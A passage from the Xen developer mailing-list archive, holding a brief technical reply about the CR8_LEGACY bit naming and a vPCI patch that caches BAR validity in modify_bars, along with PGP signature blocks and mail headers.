TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50
wvDohN1zUQfFtofOP2xCRsDZiHAlQ0pF+aUjXQhPeP3IdpfWc8cyRLXF06Rk46YM
YCytweGtGdHcqAfrVthl84129ZPN422k/voW0sm14gjYlGcTUwgnYlFRk2FLq0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pE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------0PYWaQNr3SNjGHYkKJZGcZkT--

--------------mJk9duNd4YpK9Xjqrs5Qe087--

--------------VlNIE1PVV6bnfE1FnfYGSwFB
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpOiAQFAwAAAAAACgkQZg+p0QLLz9Cr
vgv8CkMX/ujLmp061dZRwXmKQTBjXQ12HLHkoPfcek6nlIpJfyXinvZz1DF78BjNjncYcyur2yUf
lhf5F17tsCBzEnBz9G4gjONOzPZruDWAy07q6zqfizkFDGTXj0BB0AwhAnn2KGomVRfbgNW/9eIn
vCMgEkt/QEGJZ63zsP6n0KxkKW/8MKop27CeJJXgE01l4XrLvrogpjqNRWz1x0aLny6HyZ0tgpPI
6kXMm0CapnskfO58pULTiUClu/gXkICrjCAE/1Uwusqsf77bkNDGz/VrYT7jhpYndfA2NX6HTyWF
8snn6PAAPkswVi0Hi9uyocM5OZoVze/pVQ1TLCdK2oas/Z+J/+vehGL/mdikQ/SY+tIRZYT2Neor
iVhGblZ9sWjI+FuJrN5LmT19YXFx3oMSQuFFYe2vqSdeJjIdPpA8J2EL8X5tGbnksChEskkjQYrS
Z1oUfMJFwGS0i8Hq6BfH+K/s73K5rtrZprNCuBeFtE4cClLvLsc746WcYA1X
=/39D
-----END PGP SIGNATURE-----

--------------VlNIE1PVV6bnfE1FnfYGSwFB--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 19:31:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 19:31:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357313.1611743 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whXz7-0005kx-Ax; Wed, 08 Jul 2026 19:31:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357313.1611743; Wed, 08 Jul 2026 19:31:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whXz7-0005kq-8A; Wed, 08 Jul 2026 19:31:05 +0000
Received: by outflank-mailman (input) for mailman id 1357313;
 Wed, 08 Jul 2026 19:31:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ludloff@gmail.com>) id 1whXz5-0005kk-Ax
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 19:31:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whXz4-009YK9-JT
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:31:02 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ludloff@gmail.com>)
 id 6a4ea575-bab6-0a2a0a5309dd-0a2a4506cf44-6
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 21:31:02 +0200
Received: from [209.85.208.48] (helo=mail-ed1-f48.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ludloff@gmail.com>)
 id 6a4ea576-08de-0a2a45060019-d155d030d4cb-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 21:31:02 +0200
Received: by mail-ed1-f48.google.com with SMTP id
 4fb4d7f45d1cf-698bf7a1a2dso1517612a12.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:31:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:To:Subject:Message-ID:Date:From:Reply-To:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783539062; cv=none;
        d=google.com; s=arc-20260327;
        b=gIfMKPC1nd60SRmFqvKU2uGX3TohaPZhUni1W2kgd9kOVgX+v16OHnCmVdIuWd82Y8
         d8c5Ydm0Kx3deRvp6YxAW9qw6nfhebmC79ciceph8b8lg//A86AGYawg10aDtCLu5D6i
         ZI6oc/YKkGpI3+4VRLMcbGn7RPH14BrZYAsh8N2Dw8em29XyK/dT65+myWSWANAcqE14
         6euVlJjoIhmSmF7h+d1+wDT9eXoKx5LO4qmfnsHD3x3jxCxbrBN+TfY3Y0BLcu7VDPBK
         WQ0BmQf/oirHirGvqsl4dm2v09y6tg90BsLtFEbcBbbUu3FQlTGznN5sAfzX59QaRtMo
         dzRQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=to:subject:message-id:date:from:reply-to:mime-version
         :dkim-signature;
        bh=Kymt51/VWhPx4pU2jFeRIFQzCWK76eHbGir2cEh18sw=;
        fh=quJY5mN2l4ZorNvEoO9ngNXalhEvTdq/+W8CvHWhECs=;
        b=jFOtlo3ApM/bSKZFEzTmNNV6cxa+Jmr142JYgBWbde8jpy4QOxkeOlrdG6UeaM4RRF
         1oDTMV8tDXiktttvUidKomdrk3BX25w9RbLWb4r8ON7UW5V+Pv6Ex3v4vTqZqywp1bv2
         7zuSyEm59OTtl8dbV1LMVgkZ0/0odjX/KMgl+niQjbL+Q9fTspzhAy8z1rnJhOlPUCPH
         jqlhC51T3YVZPbZ6FTwe+4CUyRt0aoRS/3PQ68pNGEat+tnZUtKrIkWGusXP3dJ0UJf1
         7z3uNkV+Rg/EE6STUpUP7Fu5wuN8Sjuzr8BUeKK9mMYlGfc2P1GKP1l8Uql7y/4pleEo
         hpXA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783539062; x=1784143862; darn=lists.xenproject.org;
        h=content-type:to:subject:message-id:date:from:reply-to:mime-version
         :from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=Kymt51/VWhPx4pU2jFeRIFQzCWK76eHbGir2cEh18sw=;
        b=arey8tisYoO2oxcl5O9SeebBLpBc456XfP9HESk0KswodIbGJqUovbY2iy3Xp6g77/
         Fdg0pgtYqc+6JJURXpod4sFdyu+SypSFf5xDxuxmFBddZRfDCqZjgfK0vHAdBN3ImP43
         pbzgUimJF/bumZfMgQOcYOfoj6KBqHWmBJf5WUclepuwKeo/2HKsAlI2E652xrMyEWzf
         ou/zzZtJsXl7J8v69s+UJnUjL5YOsZvwcUi8oay4e5eqYpSAWF+7qNJl2SkNdXEZdQn5
         BMKWVjDi63c572FuuJQJOnZb/sWBMqc8MTqHDlpFVGGEDDpdYZnzghMtQR+O9I1LgLoN
         nTVw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783539062; x=1784143862;
        h=content-type:to:subject:message-id:date:from:reply-to:mime-version
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=Kymt51/VWhPx4pU2jFeRIFQzCWK76eHbGir2cEh18sw=;
        b=lq93vHUx91TymhAzp2S/Z8s3Sy7DnoHXpvVRvz/FGdkF51LfX0dxCo19rnWdkB9Vi1
         Hy2cOkIoOo/2xuX/ZWY8wYUFK/HRkLiwXDSraCXHFbSjWN9uTw0+BasMBKc6yPY0LpO0
         g/rhRInFiGb+ANf6XDcWCwqEEgMNjb52gDkbJhVhW83AxwlEmMHWLtNdQxG6CTeYne1D
         sPElmdIOuaMSvP/D/w/uDysWsMjUKrs0D562HcdSymVU+i54ijFyHD4weA0qHCbmZNLc
         Qaa5+EFpHtHgfuxudgkHlSIubeyjzDNIjN7/70pwfYQ3QpOQzIGZ2Eiq3icZAFMgFuBb
         EZ4Q==
X-Gm-Message-State: AOJu0YzeoM6p2M2XiSXx4ClygEtIbPLZgHIcCvc8TgmauKwBzBoAuHRE
	R+MNLwZyA70wvarep0T6J/aHBJJYiaM2cWbE42gnIR5y27vGL424ykRExznY7Hb8wcx8JNWWBwZ
	JJ4Cf8yVDO8l1okvSrLxkMHNYePiypbGMKXV9n4c=
X-Gm-Gg: AfdE7ckqmBt92I3bn0DoX7i1z2G5350z3hijKn9O4+D65dWwI5l/KCEQn9pCtr8qiiT
	CvrE4nDgNfehbW5HkgCJ+8oE8KZw1Ln6bUY2mDN5rEUwQoHndqu7MPHibHixZf0xBHEULy+lODW
	7j/3r07lOSwGyg3gulQWDQMKuxodtUSEPwUJdkkG5MeKvIQRQSCEN6cx4sVrWOBB5ynUjeWWX3E
	El5TAwXJi4L31OIq0ePqo2I/Co03CqyQk37kw4iyUH+ExUxfsXMg7YOjAKM7UWqDQjPPuC2
X-Received: by 2002:a05:6402:1950:b0:698:428e:9177 with SMTP id
 4fb4d7f45d1cf-69ab4460528mr1633473a12.11.1783539061929; Wed, 08 Jul 2026
 12:31:01 -0700 (PDT)
MIME-Version: 1.0
Reply-To: ludloff@gmail.com
From: Christian Ludloff <ludloff@gmail.com>
Date: Wed, 8 Jul 2026 21:30:52 +0200
X-Gm-Features: AVVi8CfhsWKsmMDC5S_xcoMAYezotZrFhwZNOtR09DHdoUyjRri2P-CX_J6zT4A
Message-ID: <CAKSQd8X78303g1eJTd_PdaTb-7mL_GxU6cdE98Mza8mZ44UE6A@mail.gmail.com>
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1783539062-C652168D-5A11F4C2/0/0
X-purgate-type: clean
X-purgate-size: 318

Fam Fh Model DDR2 BKDG #32559-3.00 called it LockMovCr0.
Fam 10h BKDG #31116-3.00 (and beyond) called it AltMovCr8.
On sandpile I call it CR8D to reflect its intent: non-PM64 CR8.

Also, you cannot tell a #UD[LOCK CR1-7] from a #UD[CR9-15].
So the question whether a LOCK works for 1-7 = 9-15 is moot.

--
C.


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:03:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:03:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357347.1611758 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQk-0003Hv-2b; Wed, 08 Jul 2026 21:03:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357347.1611758; Wed, 08 Jul 2026 21:03:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQj-0003HE-Ug; Wed, 08 Jul 2026 21:03:41 +0000
Received: by outflank-mailman (input) for mailman id 1357347;
 Wed, 08 Jul 2026 21:03:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZQi-0003BV-Tz
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:03:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZQi-001FOW-1P
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:40 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb18-5cb7-0a2a0a5109dd-0a2a4506bcd2-20
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:39 +0200
Received: from [40.93.196.65]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb2a-08de-0a2a45060019-285dc44164ea-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:39 +0200
Received: from CH0P221CA0044.NAMP221.PROD.OUTLOOK.COM (2603:10b6:610:11d::27)
 by CH3PR12MB7667.namprd12.prod.outlook.com (2603:10b6:610:14f::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 21:03:35 +0000
Received: from CH3PEPF0000000C.namprd04.prod.outlook.com
 (2603:10b6:610:11d:cafe::72) by CH0P221CA0044.outlook.office365.com
 (2603:10b6:610:11d::27) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:35 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH3PEPF0000000C.mail.protection.outlook.com (10.167.244.39) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:34 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:29 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:29 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=UK3Gmy8oby9ofsA7T0E/gPoVclyD6ZOLaydoexBeXCIz1fFlNjpieWKjzCTzUsd8RgM7REz+H15HGSjd/uS0uBI3eYA/MWGx0YRNfyUvO6Z01RQRI3ObXiMq6ZooQ05/hVBPlP6Uq4ze78X5p12L6JPjtfN4eosKGH3ojPjL5hXha8umHA1UPpIt5f8Qf99E4jVgkQ2CijeHmY+FP5ShWOKP3By6AlxPIYeqHUbMMgt2Q25WsgQYDj5fOXsOE5ml9mR/3zEzZfyVHiXKRYalo5YI6TeMveurPF5UO2wdDguaQv1KE5/7Z4Wb1WPo64C4p2wfEYMuGmYsuVxAxsPpzQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DSKtr1QODaGQ+yBMbiw0PTCEl6qNRjC3impW+6VKld0=;
 b=X5jNpdrDA6pjoEfMB6AFNa9ptHGbWzQmHzH/xTBUE8ZgqfFQXcrPNFXx1eszEZFhya4BDivLVFxjAtnfESslrRRQUmUE1/EHl1btXaVVhI18Km+IG5PFa2KeHNhcx9bdIPpLGofpomFII7jVtcZTIfuTQJ8ZfIkPRQ5a2D+Zifm1BVCvfg2ZSNanXgTDIHOJDB3dOtVmASNNEGPgATeBCbHshjRTtNJHviPBMU5kJ7EhD9zXG5x25qmNj5u80OCA/oCEdAWxYtiasDsSviFXaYMehEyfvONLZZtK5CBdMP4/uSDO7il7fFefLYFIjHn1po/nVpFkH9r6dTO79hHDGw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DSKtr1QODaGQ+yBMbiw0PTCEl6qNRjC3impW+6VKld0=;
 b=XFpvO2KXwvZarZn8GTxeguY5V7C8gXmAN1h/5Ann5Jh662tAr+q8yS1sUpjXl4DDQBYLnH4EAocq9qNFRchteyuvPnFtDtPDd4+A0jTZYgunNf5fCdC3bk9KNjvYj/5OvO79EVVYO24MBKYGGng9kXt3+s5BRBBqAaXYRb/WEzk=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Roger Pau Monne <roger.pau@citrix.com>, Stewart Hildebrand
	<stewart.hildebrand@amd.com>, Andrew Cooper <andrew.cooper3@citrix.com>
Subject: [PATCH v5 3/9] vpci: only check BAR validity once
Date: Wed, 8 Jul 2026 17:02:18 -0400
Message-ID: <20260708210233.922275-4-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000C:EE_|CH3PR12MB7667:EE_
X-MS-Office365-Filtering-Correlation-Id: 317a639d-aaf4-41de-07e7-08dedd345fdd
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|82310400026|23010399003|376014|36860700016|13003099007|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	PJ/S7en6FHNjzOhtO5YbTP5LbdWA53G215p1RQGfHHiJVU2tFagmKAu/fhPl0TduAAu//wD3nf30PEeKjCddavYgaY8q1fAd70EldIP5ROzUQFzhWCV6TQJIa5sW1uQkYn8BS3V2Tn+wI+rA94r/P6UtPVfL8SbNdSORpUf4lDnY04fqpptjUEZdfqWWZb+9/MFImj+V2gC5SZphekNl5hLe65zTlwriYl2EckluxWw22TPvuJpuoDaFr980+JtNLusm0Jep6MQHHSnB0Wy9dWo/GWjQfgCgbx87DE1iWeCeRibDcuUTVMNKlZOXffjdL/YUx5LgCEQ0yStYbxLZkIv/fJXJ1upAENLJA4bgy7f0XtWwhasf2BVWTg3NGLJ1XAZhyyhLAw06HCWty4wPthPzFC7k5WBWAmMS2X3tDZPrp3ifkiqhPXJk/2/o8M7+lqBI7WA27pkt2DJZPQQndGocOvyy6sWB9TW/LitUzy3SWnG1XHnRXs+G8sWSsxoWznB7Y25/pNE6mAuei4McbIkvtauZ5raJqhOX5pxIAshCIdHUqh1VlXYn5v170JtPrM66Yqr9NEGTf07Q4yCgk4nQI/EOm9D3iyjB10jQB3QAsMT/nDmSGXiyy1sC21fTgCqMPwHvFCvklTMZqKmctRxJk2YPkUUSQieAYk63Vgz/PdEb3mJp/59ds/3XCDIh/8Zmx4RuXKG6o1zhiMzyDw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(82310400026)(23010399003)(376014)(36860700016)(13003099007)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	p7EdcUcq/vmYTVI6FIFb21IpNJntPfhHMDC5ItGe6q19vs7sYeIvYSujPpPGizYXECH9XlavDVRJExMaIXvSFUG/jH3tGJ2+A/TpG1/gx2mYWHRyYMjk5EBDtBQyKHbfgLHJDk/oJlveNwpm2/KbL9l4gOPjQjeVmBRRaQuzDdWCPqgdC7ofzNOwnYDEtay+dEsvNpVE/WATsEVh/NRs6tfwA596Fqxq0LRxpQG4lj2WUngzqIUDamCMwiAhnv1NFe+V2y0VVz8wE3A/EmRtFpuloUxAANWhzyL21bLk1bAz6UUuNLyd9SEpARDiSBpq0SZQMF0Wv6974/8NQFfr1i21Z/LXcxPD4VHZYnDLENXIKah/46FeRFStYyZ/NEAeCdtC5RD8KxpAXJxgiDeRCdS/L2HU41+K9j89cZxGul4J0/qjnL61m5uIrSw8su1j
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:34.9008
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 317a639d-aaf4-41de-07e7-08dedd345fdd
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000C.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR12MB7667
X-purgate-ID: tlsNG-16d1c6/1783544619-C513768D-AB82D982/0/0
X-purgate-type: clean
X-purgate-size: 3969

From: Roger Pau Monne <roger.pau@citrix.com>

The BAR validity checks in modify_decoding() are redundant since they
are already done in modify_bars().

Avoid multiple calls to pci_check_bar() for the same memory decoding
related operation, as each call can possibly print a warning message
about a BAR being in an invalid position.

Further, there's no need to defer setting bar->enabled until p2m
operations are finished. It can safely be set in modify_bars() itself.
This slightly changes the meaning of the bar->enabled flag: when true,
it means a BAR is either mapped or queued to be mapped. Store whether
the BAR is validly positioned in modify_bars(), and use the cached value
for setting bar->enabled.

Reported-by: Andrew Cooper <andrew.cooper3@citrix.com>
Fixes: 4acab25a9300 ('x86/vpci: fix handling of BAR overlaps with non-hole regions')
Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
---
v1->v5:
* rebase
* don't defer setting bar->enabled
* use local variable for bar_valid flag

Original report [1]:
[1] https://lore.kernel.org/xen-devel/dbc003a2-9202-46ec-bf87-2829d8a63d53@citrix.com/
---
 xen/drivers/vpci/header.c | 18 +++++++++---------
 xen/include/xen/vpci.h    |  2 +-
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index 9f2d0c8a5452..1fd4832033e9 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -128,19 +128,10 @@ static void modify_decoding(const struct pci_dev *pdev, uint16_t cmd,
             uint32_t val = bar->addr |
                            (map ? PCI_ROM_ADDRESS_ENABLE : 0);
 
-            if ( pci_check_bar(pdev, _mfn(PFN_DOWN(bar->addr)),
-                               _mfn(PFN_DOWN(bar->addr + bar->size - 1))) )
-                bar->enabled = map;
             header->rom_enabled = map;
             pci_conf_write32(pdev->sbdf, rom_pos, val);
             return;
         }
-
-        if ( !rom_only &&
-             (bar->type != VPCI_BAR_ROM || header->rom_enabled) &&
-             pci_check_bar(pdev, _mfn(PFN_DOWN(bar->addr)),
-                           _mfn(PFN_DOWN(bar->addr + bar->size - 1))) )
-            bar->enabled = map;
     }
 
     /*
@@ -296,6 +287,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
     struct pci_dev *tmp;
     const struct domain *d;
     const struct vpci_msix *msix = pdev->vpci->msix;
+    bool bar_valid[ARRAY_SIZE(header->bars)] = { false };
     unsigned int i, j;
     int rc;
 
@@ -341,6 +333,8 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
 
         ASSERT(rangeset_is_empty(bar->mem));
 
+        bar_valid[i] = true;
+
         /*
          * Make sure that the guest set address has the same page offset
          * as the physical address on the host or otherwise things won't work as
@@ -506,6 +500,12 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
         d = dom_xen;
     }
 
+    for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
+    {
+        if ( bar_valid[i] )
+            header->bars[i].enabled = cmd & PCI_COMMAND_MEMORY;
+    }
+
     if ( system_state < SYS_STATE_active )
     {
         /*
diff --git a/xen/include/xen/vpci.h b/xen/include/xen/vpci.h
index 877aa391d178..ab94eb60d65f 100644
--- a/xen/include/xen/vpci.h
+++ b/xen/include/xen/vpci.h
@@ -64,7 +64,7 @@ struct vpci {
                 VPCI_BAR_ROM,
             } type;
             bool prefetchable : 1;
-            /* Store whether the BAR is mapped into guest p2m. */
+            /* Whether the BAR is mapped or queued for mapping in guest p2m. */
             bool enabled      : 1;
         } bars[PCI_HEADER_NORMAL_NR_BARS + 1];
         /* At most 6 BARS + 1 expansion ROM BAR. */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:03:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
